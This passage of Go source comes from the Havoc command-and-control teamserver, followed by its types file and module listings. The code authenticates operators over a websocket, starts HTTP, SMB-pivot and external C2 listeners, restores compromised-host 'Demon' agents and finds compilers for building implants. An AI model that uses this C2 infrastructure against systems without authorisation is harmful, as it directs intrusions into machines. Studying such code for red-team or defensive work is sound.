"Havoc/pkg/colors" "Havoc/pkg/common" "Havoc/pkg/events" "Havoc/pkg/handlers" "Havoc/pkg/logger" "Havoc/pkg/packager" "Havoc/pkg/profile" "Havoc/pkg/utils" ) func NewTeamserver(DatabasePath string) *Teamserver { if d, err := db.DatabaseNew(DatabasePath); err != nil { logger.Error("Failed to create a new db: " + err.Error()) return nil } else { return &Teamserver{ DB: d, } } } func (t *Teamserver) SetServerFlags(flags TeamserverFlags) { t.Flags = flags } func (t *Teamserver) Start() { logger.Debug("Starting teamserver...") var ( ServerFinished chan bool TeamserverWs string TeamserverPath, err = os.Getwd() ListenerCount int KillDate int64 ) if err != nil { logger.Error("Couldn't get the current directory: " + err.Error()) return } if t.Flags.Server.Host == "" { t.Flags.Server.Host = t.Profile.ServerHost() } if t.Flags.Server.Port == "" { t.Flags.Server.Port = strconv.Itoa(t.Profile.ServerPort()) } gin.SetMode(gin.ReleaseMode) t.Server.Engine = gin.New() t.Server.Engine.GET("/", func(context *gin.Context) { context.Redirect(http.StatusMovedPermanently, "home/") }) // Catch me if you can t.Server.Engine.GET("/havoc/", func(context *gin.Context) { var ( upgrade websocket.Upgrader WebSocket *websocket.Conn ClientID = utils.GenerateID(6) ) if WebSocket, err = upgrade.Upgrade(context.Writer, context.Request, nil); err != nil { logger.Error("Failed upgrading request: " + err.Error()) return } t.Clients.Store(ClientID, &Client{ Username: "", GlobalIP: WebSocket.RemoteAddr().String(), Connection: WebSocket, ClientVersion: "", Packager: packager.NewPackager(), Authenticated: false, }) // Handle connections in a new goroutine. go t.handleRequest(ClientID) }) // TODO: pass this as a profile/command line flag t.Server.Engine.Static("/home", "./bin/static") t.Server.Engine.POST("/:endpoint", func(context *gin.Context) { var endpoint = context.Request.RequestURI[1:] if len(t.Endpoints) > 0 { for i := range t.Endpoints { if t.Endpoints[i].Endpoint == endpoint { t.Endpoints[i].Function(context) } } } }) // start the teamserver websocket connection go func(Host, Port string) { var ( certPath = TeamserverPath + "/data/server.cert" keyPath = TeamserverPath + "/data/server.key" Cert []byte Key []byte ) Cert, Key, err = certs.HTTPSGenerateRSACertificate(Host) if err != nil { logger.Error("Failed to generate server certificates: " + err.Error()) os.Exit(0) } err = os.WriteFile(certPath, Cert, 0644) if err != nil { logger.Error("Couldn't save server cert file: " + err.Error()) os.Exit(0) } err = os.WriteFile(keyPath, Key, 0644) if err != nil { logger.Error("Couldn't save server cert file: " + err.Error()) os.Exit(0) } // start the teamserver if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil { logger.Error("Failed to start websocket: " + err.Error()) } ServerFinished <- true os.Exit(0) }(t.Flags.Server.Host, t.Flags.Server.Port) t.WebHooks = webhook.NewWebHook() t.Listeners = []*Listener{} TeamserverWs = "wss://" + t.Flags.Server.Host + ":" + t.Flags.Server.Port logger.Info("Starting Teamserver on " + colors.BlueUnderline(TeamserverWs)) /* if we specified a webhook then lets use it. */ if t.Profile.Config.WebHook != nil { if t.Profile.Config.WebHook.Discord != nil { var ( AvatarUrl string UserName string ) if len(t.Profile.Config.WebHook.Discord.AvatarUrl) > 0 { AvatarUrl = t.Profile.Config.WebHook.Discord.AvatarUrl } if len(t.Profile.Config.WebHook.Discord.UserName) > 0 { UserName = t.Profile.Config.WebHook.Discord.UserName } if len(t.Profile.Config.WebHook.Discord.WebHook) > 0 { t.WebHooks.SetDiscord(AvatarUrl, UserName, t.Profile.Config.WebHook.Discord.WebHook) } } } // start teamserver service if t.Profile.Config.Service != nil { // 3rd Party Agent Support Enabled t.Service = service.NewService(t.Server.Engine) t.Service.Teamserver = t t.Service.Data.ServerAgents = &t.Agents t.Service.Config = *t.Profile.Config.Service if len(t.Service.Config.Endpoint) > 0 { t.Service.Start() logger.Info(fmt.Sprintf("%v starting service handle on %v", "["+colors.BoldWhite("SERVICE")+"]", colors.BlueUnderline(TeamserverWs+"/"+t.Service.Config.Endpoint))) } else { logger.Error("Teamserver service error: Endpoint not specified") } } /* now load up our db or start a new one if none exist */ DBPath := t.DB.Path() if t.DB, err = db.DatabaseNew(TeamserverPath + "/" + DBPath); err != nil { logger.SetStdOut(os.Stderr) logger.Error("Failed to create or open a database: " + err.Error()) return } if t.DB.Existed() { logger.Info("Opens existing database: " + colors.Blue(DBPath)) } else { logger.Info("Creates new database: " + colors.Blue(DBPath)) } ListenerCount = t.DB.ListenerCount() /* start listeners from the specified yaotl profile */ if t.Profile.Config.Listener != nil { /* Start all HTTP/s listeners */ for _, listener := range t.Profile.Config.Listener.ListenerHTTP { if listener.KillDate != "" { t, err := time.Parse("2006-01-02 15:04:05", listener.KillDate) if err != nil { logger.Error("Failed to parse the kill date: " + err.Error()) return } KillDate = common.EpochTimeToSystemTime(t.Unix()) } else { KillDate = 0 } var HandlerData = handlers.HTTPConfig{ Name: listener.Name, KillDate: KillDate, WorkingHours: listener.WorkingHours, Hosts: listener.Hosts, HostBind: listener.HostBind, Methode: listener.Methode, HostRotation: listener.HostRotation, BehindRedir: t.Profile.Config.Demon.TrustXForwardedFor, PortBind: strconv.Itoa(listener.PortBind), PortConn: strconv.Itoa(listener.PortConn), UserAgent: listener.UserAgent, Headers: listener.Headers, Uris: listener.Uris, Secure: listener.Secure, } if listener.Cert != nil { var Found = true if _, err = os.Stat(listener.Cert.Cert); !os.IsNotExist(err) { HandlerData.Cert.Cert = listener.Cert.Cert } else { Found = false } if _, err = os.Stat(listener.Cert.Key); !os.IsNotExist(err) { HandlerData.Cert.Key = listener.Cert.Key } else { Found = false } if !Found { logger.Error("Failed to find Cert/Key Path for listener '" + listener.Name + "'. Using randomly generated certs") } } if listener.Response != nil { HandlerData.Response.Headers = listener.Response.Headers } if err := t.ListenerStart(handlers.LISTENER_HTTP, HandlerData); err != nil { logger.Error("Failed to start listener from profile: " + err.Error()) return } } /* Start all SMB listeners */ for _, listener := range t.Profile.Config.Listener.ListenerSMB { if listener.KillDate != "" { t, err := time.Parse("2006-01-02 15:04:05", listener.KillDate) if err != nil { logger.Error("Failed to parse the kill date: " + err.Error()) return } KillDate = common.EpochTimeToSystemTime(t.Unix()) } else { KillDate = 0 } var HandlerData = handlers.SMBConfig{ Name: listener.Name, PipeName: listener.PipeName, KillDate: KillDate, WorkingHours: listener.WorkingHours, } if err := t.ListenerStart(handlers.LISTENER_PIVOT_SMB, HandlerData); err != nil { logger.Error("Failed to start listener from profile: " + err.Error()) return } } /* Start all ExternalC2 listeners */ for _, listener := range t.Profile.Config.Listener.ListenerExternal { var HandlerData = handlers.ExternalConfig{ Name: listener.Name, Endpoint: listener.Endpoint, } if err := t.ListenerStart(handlers.LISTENER_EXTERNAL, HandlerData); err != nil { logger.Error("Failed to start listener from profile: " + err.Error()) return } } } if ListenerCount > 0 { var TotalCount = 0 if DbName := t.DB.ListenerNames(); len(DbName) > 0 { TotalCount = ListenerCount for _, name := range DbName { for _, listener := range t.Listeners { if listener.Name == name { TotalCount-- break } } } } if TotalCount > 0 { logger.Info(fmt.Sprintf("Starting %v listeners from last session", colors.Green(TotalCount))) } } for _, listener := range t.DB.ListenerAll() { switch listener["Protocol"] { case handlers.AGENT_HTTP, handlers.AGENT_HTTPS: var ( Data = make(map[string]any) HandlerData = handlers.HTTPConfig{ Name: listener["Name"], } ) err = json.Unmarshal([]byte(listener["Config"]), &Data) if err != nil { logger.Error("Failed to unmarshal json bytes to map: " + err.Error()) continue } /* set config of http listener */ HandlerData.Hosts = strings.Split(Data["Hosts"].(string), ", ") HandlerData.HostBind = Data["HostBind"].(string) HandlerData.HostRotation = Data["HostRotation"].(string) HandlerData.PortBind = Data["PortBind"].(string) HandlerData.UserAgent = Data["UserAgent"].(string) HandlerData.Headers = strings.Split(Data["Headers"].(string), ", ") HandlerData.Uris = strings.Split(Data["Uris"].(string), ", ") HandlerData.BehindRedir = t.Profile.Config.Demon.TrustXForwardedFor HandlerData.Secure = false if Data["Secure"].(string) == "true" { HandlerData.Secure = true } if Data["Response Headers"] != nil { switch Data["Response Headers"].(type) { case string: HandlerData.Response.Headers = strings.Split(Data["Response Headers"].(string), ", ") break default: for _, s := range Data["Response Headers"].([]interface{}) { HandlerData.Response.Headers = append(HandlerData.Response.Headers, s.(string)) } } } /* also ignore if we already have a listener running */ if err := t.ListenerStart(handlers.LISTENER_HTTP, HandlerData); err != nil && err.Error() != "listener already exists" { logger.SetStdOut(os.Stderr) logger.Error("Failed to start listener from db: " + err.Error()) return } break case handlers.AGENT_EXTERNAL: var ( Data = make(map[string]any) HandlerData = handlers.ExternalConfig{ Name: listener["Name"], } ) err := json.Unmarshal([]byte(listener["Config"]), &Data) if err != nil { logger.Debug("Failed to unmarshal json bytes to map: " + err.Error()) continue } HandlerData.Endpoint = Data["Endpoint"].(string) if err := t.ListenerStart(handlers.LISTENER_EXTERNAL, HandlerData); err != nil && err.Error() != "listener already exists" { logger.SetStdOut(os.Stderr) logger.Error("Failed to start listener from db: " + err.Error()) return } break case handlers.AGENT_PIVOT_SMB: var ( Data = make(map[string]any) HandlerData = handlers.SMBConfig{ Name: listener["Name"], } ) err := json.Unmarshal([]byte(listener["Config"]), &Data) if err != nil { logger.Debug("Failed to unmarshal json bytes to map: " + err.Error()) continue } HandlerData.PipeName = Data["PipeName"].(string) if err := t.ListenerStart(handlers.LISTENER_PIVOT_SMB, HandlerData); err != nil && err.Error() != "listener already exists" { logger.SetStdOut(os.Stderr) logger.Error("Failed to start listener from db: " + err.Error()) return } break } } // load all existing Agents from the DB Agents := t.DB.AgentAll() for _, Agent := range Agents { t.AgentAdd(Agent) } for _, Agent := range Agents { // check if the agent has a parent parentID, err := t.ParentOf(Agent) if err == nil { Agent.Pivots.Parent = t.AgentInstance(parentID) } // check if the agent has any links AgentsIDs := t.LinksOf(Agent) for _, AgentID := range AgentsIDs { Agent.Pivots.Links = append(Agent.Pivots.Links, t.AgentInstance(AgentID)) } } // notify the clients for _, Agent := range Agents { t.AgentSendNotify(Agent) } if len(Agents) > 0 { logger.Info(fmt.Sprintf("Restored %v agents from last session", colors.Green(len(Agents)))) } t.EventAppend(events.SendProfile(t.Profile)) // This should hold the Teamserver as long as the WebSocket Server is running logger.Debug("Wait til the server shutdown") <-ServerFinished } func (t *Teamserver) handleRequest(id string) { value, isok := t.Clients.Load(id) if !isok { return } client := value.(*Client) _, NewClient, err := client.Connection.ReadMessage() if err != nil { if err != io.EOF { logger.Error("Error reading 2:", err.Error()) if strings.Contains(err.Error(), "connection reset by peer") { err := client.Connection.Close() if err != nil { logger.Error("Error while closing Client connection: " + err.Error()) } } } t.Clients.Delete(id) return } pk := client.Packager.CreatePackage(string(NewClient)) if t.Profile != nil { var found = false for _, UserNames := range t.Profile.ListOfUsernames() { if UserNames == pk.Head.User { found = true } } if !found { err := t.SendEvent(id, events.UserDoNotExists()) if err != nil { logger.Error("Error while sending package to " + colors.Red(id) + "") } t.RemoveClient(id) return } } isExist := false t.Clients.Range(func(key, value any) bool { if client.Username == pk.Head.User { err := t.SendEvent(id, events.UserAlreadyExits()) if err != nil { logger.Error("couldn't send event to client "+colors.Yellow(id)+":", err) } t.RemoveClient(id) isExist = true return false } return true }) if isExist { return } if !t.ClientAuthenticate(pk) { logger.Error("Client [User: " + pk.Body.Info["User"].(string) + "] failed to Authenticate! (" + colors.Red(client.GlobalIP) + ")") err := t.SendEvent(id, events.Authenticated(false)) if err != nil { logger.Error("client (" + colors.Red(id) + ") error while sending authenticate message: " + colors.Red(err)) } err = client.Connection.Close() if err != nil { logger.Error("Failed to close client (" + id + ") socket") } return } else { logger.Good("User <" + colors.Blue(pk.Body.Info["User"].(string)) + "> " + colors.Green("Authenticated")) client.Authenticated = true client.ClientID = id err := t.SendEvent(id, events.Authenticated(true)) if err != nil { logger.Error("client (" + colors.Red(id) + ") error while sending authenticate message:" + colors.Red(err)) } } client.Username = pk.Body.Info["User"].(string) packageNewUser := events.ChatLog.NewUserConnected(client.Username) t.EventAppend(packageNewUser) t.EventBroadcast(id, packageNewUser) t.SendAllPackagesToNewClient(id) for { value, isok := t.Clients.Load(id) if !isok { return } client = value.(*Client) _, EventPackage, err := client.Connection.ReadMessage() if err != nil { if websocket.IsCloseError(err, websocket.CloseAbnormalClosure) { logger.Warn("User <" + colors.Blue(client.Username) + "> " + colors.Red("Disconnected")) t.EventAppend(events.ChatLog.UserDisconnected(client.Username)) t.RemoveClient(id) return } else { logger.Error("Error reading :", err.Error()) } err := client.Connection.Close() if err != nil { logger.Error("Socket Error:", err.Error()) } t.EventAppend(events.ChatLog.UserDisconnected(client.Username)) t.RemoveClient(id) return } pk := client.Packager.CreatePackage(string(EventPackage)) pk.Head.Time = time.Now().Format("02/01/2006 15:04:05") t.EventAppend(pk) t.DispatchEvent(pk) } } func (t *Teamserver) SetProfile(path string) { t.Profile = profile.NewProfile() logger.LoggerInstance.STDERR = os.Stderr err := t.Profile.SetProfile(path, t.Flags.Server.Default) if err != nil { logger.SetStdOut(os.Stderr) logger.Error("Profile error:", colors.Red(err)) os.Exit(1) } } func (t *Teamserver) ClientAuthenticate(pk packager.Package) bool { if pk.Head.Event == packager.Type.InitConnection.Type { if pk.Body.SubEvent == packager.Type.InitConnection.OAuthRequest { if t.Profile != nil { if t.Profile.Config.Operators != nil { var ( UserPassword string UserName string PassHash = sha3.New256() UserFound = false ) // search for operator for _, User := range t.Profile.Config.Operators.Users { if User.Name == pk.Head.User { UserName = User.Name UserFound = true PassHash.Write([]byte(User.Password)) UserPassword = hex.EncodeToString(PassHash.Sum(nil)) logger.Debug("Found User: " + User.Name) } } // check if the operator was even found if UserFound { if pk.Body.Info["Password"].(string) == UserPassword { logger.Debug("User " + colors.Red(UserName) + " is authenticated") return true } } else { logger.Debug("User not found") } logger.Debug("User not authenticated") } return false } else { return false } } else { logger.Error("Wrong SubEvent :: " + strconv.Itoa(pk.Body.SubEvent)) } } else { logger.Error("Not a Authenticate request") } logger.Error("Client failed to authenticate with password hash :: " + pk.Body.Info["Password"].(string)) return false } func (t *Teamserver) EventBroadcast(ExceptClient string, pk packager.Package) { // some sanity check if pk.Head.Event == 0 { return } t.Clients.Range(func(key, value any) bool { ClientID := key.(string) if ExceptClient != ClientID { err := t.SendEvent(ClientID, pk) if err != nil && !strings.Contains(err.Error(), "use of closed network connection") { logger.Error("SendEvent error: ", colors.Red(err)) } } return true }) } func (t *Teamserver) EventNewDemon(DemonAgent *agent.Agent) packager.Package { return events.Demons.NewDemon(DemonAgent) } func (t *Teamserver) EventAgentMark(AgentID, Mark string) { var pk = events.Demons.MarkAs(AgentID, Mark) t.EventAppend(pk) t.EventBroadcast("", pk) } func (t *Teamserver) EventListenerError(ListenerName string, Error error) { var pk = events.Listener.ListenerError("", ListenerName, Error) t.EventAppend(pk) t.EventBroadcast("", pk) // also remove the listener from the init packages. for EventID := range t.EventsList { if t.EventsList[EventID].Head.Event == packager.Type.Listener.Type { if t.EventsList[EventID].Body.SubEvent == packager.Type.Listener.Add { if name, ok := t.EventsList[EventID].Body.Info["Name"]; ok { if name == ListenerName { t.EventsList[EventID].Body.Info["Status"] = "Offline" t.EventsList[EventID].Body.Info["Error"] = Error.Error() } } } } } } func (t *Teamserver) SendEvent(id string, pk packager.Package) error { var ( buffer bytes.Buffer err error ) err = json.NewEncoder(&buffer).Encode(pk) if err != nil { return err } value, isOk := t.Clients.Load(id) if isOk { client := value.(*Client) client.Mutex.Lock() err = client.Connection.WriteMessage(websocket.BinaryMessage, buffer.Bytes()) if err != nil { // TODO: comment this line out as it seems to crash the server //t.Clients[id].Mutex.Unlock() return err } client.Mutex.Unlock() } else { return errors.New(fmt.Sprintf("client (%v) doesn't exist anymore", colors.Red(id))) } return nil } func (t *Teamserver) RemoveClient(ClientID string) { value, isOk := t.Clients.Load(ClientID) if isOk { client := value.(*Client) var ( userDisconnected = client.Username Authenticated = client.Authenticated ) if Authenticated { t.EventBroadcast(ClientID, events.ChatLog.UserDisconnected(userDisconnected)) for UserID := range t.Users { if userDisconnected == t.Users[UserID].Name { t.Users[UserID].Online = false } } } t.Clients.Delete(ClientID) } } func (t *Teamserver) EventAppend(event packager.Package) []packager.Package { // some sanity check if event.Head.Event == 0 { return t.EventsList } if event.Head.OneTime != "true" { t.EventsList = append(t.EventsList, event) return append(t.EventsList, event) } return nil } func (t *Teamserver) EventRemove(EventID int) []packager.Package { t.EventsList = append(t.EventsList[:EventID], t.EventsList[EventID+1:]...) return append(t.EventsList[:EventID], t.EventsList[EventID+1:]...) } func (t *Teamserver) SendAllPackagesToNewClient(ClientID string) { for _, Package := range t.EventsList { err := t.SendEvent(ClientID, Package) if err != nil { logger.Error("error while sending info to client("+ClientID+"): ", err) return } } // send all the agents that are alive right now to the new client for _, demon := range t.Agents.Agents { if demon.Active == false { continue } pk := t.EventNewDemon(demon) err := t.SendEvent(ClientID, pk) if err != nil { logger.Error("error while sending info to client("+ClientID+"): ", err) return } } } func (t *Teamserver) FindSystemPackages() bool { var err error if t.Profile.Config.Server.Build != nil { if len(t.Profile.Config.Server.Build.Compiler64) > 0 { if _, err := os.Stat(t.Profile.Config.Server.Build.Compiler64); os.IsNotExist(err) { logger.SetStdOut(os.Stderr) logger.Error("Compiler x64 path doesn't exist: " + t.Profile.Config.Server.Build.Compiler64) return false } t.Settings.Compiler64 = t.Profile.Config.Server.Build.Compiler64 } else { t.Settings.Compiler64, err = exec.LookPath("x86_64-w64-mingw32-gcc") if err != nil { logger.SetStdOut(os.Stderr) logger.Error("Couldn't find x64 mingw compiler: " + err.Error()) return false } } if len(t.Profile.Config.Server.Build.Compiler86) > 0 { if _, err := os.Stat(t.Profile.Config.Server.Build.Compiler86); os.IsNotExist(err) { logger.SetStdOut(os.Stderr) logger.Error("Compiler x86 path doesn't exist: " + t.Profile.Config.Server.Build.Compiler86) return false } t.Settings.Compiler32 = t.Profile.Config.Server.Build.Compiler86 } else { t.Settings.Compiler32, err = exec.LookPath("i686-w64-mingw32-gcc") if err != nil { logger.SetStdOut(os.Stderr) logger.Error("Couldn't find x86 mingw compiler: " + err.Error()) return false } } if len(t.Profile.Config.Server.Build.Nasm) > 0 { if _, err := os.Stat(t.Profile.Config.Server.Build.Nasm); os.IsNotExist(err) { logger.SetStdOut(os.Stderr) logger.Error("Nasm path doesn't exist: " + t.Profile.Config.Server.Build.Nasm) return false } t.Settings.Nasm = t.Profile.Config.Server.Build.Nasm } else { t.Settings.Nasm, err = exec.LookPath("nasm") if err != nil { logger.Error("Couldn't find nasm: " + err.Error()) return false } } } else { t.Settings.Compiler64, err = exec.LookPath("x86_64-w64-mingw32-gcc") if err != nil { logger.SetStdOut(os.Stderr) logger.Error("Couldn't find x64 mingw compiler: " + err.Error()) return false } t.Settings.Compiler32, err = exec.LookPath("i686-w64-mingw32-gcc") if err != nil { logger.SetStdOut(os.Stderr) logger.Error("Couldn't find x86 mingw compiler: " + err.Error()) return false } t.Settings.Nasm, err = exec.LookPath("nasm") if err != nil { logger.SetStdOut(os.Stderr) logger.Error("Couldn't find nasm: " + err.Error()) return false } } logger.Info(fmt.Sprintf( "Build: \n"+ " - Compiler x64 : %v\n"+ " - Compiler x86 : %v\n"+ " - Nasm : %v", colors.Blue(t.Settings.Compiler64), colors.Blue(t.Settings.Compiler32), colors.Blue(t.Settings.Nasm), )) return true } func (t *Teamserver) EndpointAdd(endpoint *Endpoint) bool { for _, e := range t.Endpoints { if e.Endpoint == endpoint.Endpoint { return false } } t.Endpoints = append(t.Endpoints, endpoint) return true } func (t *Teamserver) EndpointRemove(endpoint string) []*Endpoint { for i := range t.Endpoints { if t.Endpoints[i].Endpoint == endpoint { t.Endpoints = append(t.Endpoints[:i], t.Endpoints[i+1:]...) return t.Endpoints } } return t.Endpoints } havoc-0.6~git20240910.69ce17c/teamserver/cmd/server/types.go000066400000000000000000000027111467014221700232110ustar00rootroot00000000000000package server import ( "Havoc/pkg/agent" "Havoc/pkg/db" "Havoc/pkg/packager" "Havoc/pkg/profile" "Havoc/pkg/service" "Havoc/pkg/webhook" "sync" "github.com/gin-gonic/gin" "github.com/gorilla/websocket" ) type Listener struct { Name string Type int Config any } type Client struct { ClientID string Username string GlobalIP string ClientVersion string Connection *websocket.Conn Packager *packager.Packager Authenticated bool SessionID string Mutex sync.Mutex } type Users struct { Name string Password string Hashed bool Online bool } type serverFlags struct { Host string Port string Profile string Verbose bool Debug bool DebugDev bool SendLogs bool Default bool } type utilFlags struct { NoBanner bool Debug bool Verbose bool Test bool ListOperators bool } type TeamserverFlags struct { Server serverFlags Util utilFlags } type Endpoint struct { Endpoint string Function func(ctx *gin.Context) } type Teamserver struct { Flags TeamserverFlags Profile *profile.Profile Clients sync.Map // map[string]*Client Users []Users EventsList []packager.Package Service *service.Service WebHooks *webhook.WebHook DB *db.DB Server struct { Path string Engine *gin.Engine } Agents agent.Agents Listeners []*Listener Endpoints []*Endpoint Settings struct { Compiler64 string Compiler32 string Nasm string } } havoc-0.6~git20240910.69ce17c/teamserver/go.mod000066400000000000000000000043751467014221700205630ustar00rootroot00000000000000module Havoc go 1.21.0 require ( github.com/agext/levenshtein v1.2.3 github.com/apparentlymart/go-dump v0.0.0-20190214190832-042adf3cf4a0 github.com/apparentlymart/go-textseg/v13 v13.0.0 github.com/davecgh/go-spew v1.1.1 github.com/fatih/color v1.17.0 github.com/fatih/structs v1.1.0 github.com/gin-gonic/gin v1.10.0 github.com/go-test/deep v1.0.7 github.com/google/go-cmp v0.6.0 github.com/gorilla/websocket v1.5.3 github.com/kylelemons/godebug v1.1.0 github.com/mattn/go-sqlite3 v1.14.23 github.com/mitchellh/go-wordwrap v1.0.1 github.com/olekukonko/tablewriter v0.0.5 github.com/sergi/go-diff v1.2.0 github.com/spf13/cobra v1.8.1 github.com/zclconf/go-cty v1.15.0 golang.org/x/crypto v0.27.0 golang.org/x/image v0.20.0 golang.org/x/text v0.18.0 ) require ( github.com/apparentlymart/go-textseg/v15 v15.0.0 // indirect github.com/bytedance/sonic v1.12.2 // indirect github.com/bytedance/sonic/loader v0.2.0 // indirect github.com/cloudwego/base64x v0.1.4 // indirect github.com/cloudwego/iasm v0.2.0 // indirect github.com/gabriel-vasile/mimetype v1.4.5 // indirect github.com/gin-contrib/sse v0.1.0 // indirect github.com/go-playground/locales v0.14.1 // indirect github.com/go-playground/universal-translator v0.18.1 // indirect github.com/go-playground/validator/v10 v10.22.0 // indirect github.com/goccy/go-json v0.10.3 // indirect github.com/inconshreveable/mousetrap v1.1.0 // indirect github.com/json-iterator/go v1.1.12 // indirect github.com/klauspost/cpuid/v2 v2.2.8 // indirect github.com/leodido/go-urn v1.4.0 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/mattn/go-runewidth v0.0.16 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect github.com/pelletier/go-toml/v2 v2.2.3 // indirect github.com/rivo/uniseg v0.4.7 // indirect github.com/spf13/pflag v1.0.5 // indirect github.com/twitchyliquid64/golang-asm v0.15.1 // indirect github.com/ugorji/go/codec v1.2.12 // indirect golang.org/x/arch v0.10.0 // indirect golang.org/x/net v0.29.0 // indirect golang.org/x/sys v0.25.0 // indirect google.golang.org/protobuf v1.34.2 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) havoc-0.6~git20240910.69ce17c/teamserver/go.sum000066400000000000000000000303661467014221700206070ustar00rootroot00000000000000github.com/agext/levenshtein v1.2.3 h1:YB2fHEn0UJagG8T1rrWknE3ZQzWM06O8AMAatNn7lmo= github.com/agext/levenshtein v1.2.3/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558= github.com/apparentlymart/go-dump v0.0.0-20190214190832-042adf3cf4a0 h1:MzVXffFUye+ZcSR6opIgz9Co7WcDx6ZcY+RjfFHoA0I= github.com/apparentlymart/go-dump v0.0.0-20190214190832-042adf3cf4a0/go.mod h1:oL81AME2rN47vu18xqj1S1jPIPuN7afo62yKTNn3XMM= github.com/apparentlymart/go-textseg/v13 v13.0.0 h1:Y+KvPE1NYz0xl601PVImeQfFyEy6iT90AvPUL1NNfNw= github.com/apparentlymart/go-textseg/v13 v13.0.0/go.mod h1:ZK2fH7c4NqDTLtiYLvIkEghdlcqw7yxLeM89kiTRPUo= github.com/apparentlymart/go-textseg/v15 v15.0.0 h1:uYvfpb3DyLSCGWnctWKGj857c6ew1u1fNQOlOtuGxQY= github.com/apparentlymart/go-textseg/v15 v15.0.0/go.mod h1:K8XmNZdhEBkdlyDdvbmmsvpAG721bKi0joRfFdHIWJ4= github.com/bytedance/sonic v1.12.2 h1:oaMFuRTpMHYLpCntGca65YWt5ny+wAceDERTkT2L9lg= github.com/bytedance/sonic v1.12.2/go.mod h1:B8Gt/XvtZ3Fqj+iSKMypzymZxw/FVwgIGKzMzT9r/rk= github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU= github.com/bytedance/sonic/loader v0.2.0 h1:zNprn+lsIP06C/IqCHs3gPQIvnvpKbbxyXQP1iU4kWM= github.com/bytedance/sonic/loader v0.2.0/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU= github.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y= github.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w= github.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg= github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY= github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4= github.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI= github.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo= github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M= github.com/gabriel-vasile/mimetype v1.4.5 h1:J7wGKdGu33ocBOhGy0z653k/lFKLFDPJMG8Gql0kxn4= github.com/gabriel-vasile/mimetype v1.4.5/go.mod h1:ibHel+/kbxn9x2407k1izTA1S81ku1z/DlgOW2QE0M4= github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= github.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzytsKYqna+DfLos46nTv2ygFy86HFU= github.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y= github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao= github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= github.com/go-test/deep v1.0.7 h1:/VSMRlnY/JSyqxQUzQLKVMAskpY/NZKFA5j2P+0pP2M= github.com/go-test/deep v1.0.7/go.mod h1:QV8Hv/iy04NyLBxAdO9njL0iVPN1S4d/A3NVv1V36o8= github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA= github.com/goccy/go-json v0.10.3/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/gorilla/websocket v1.5.3 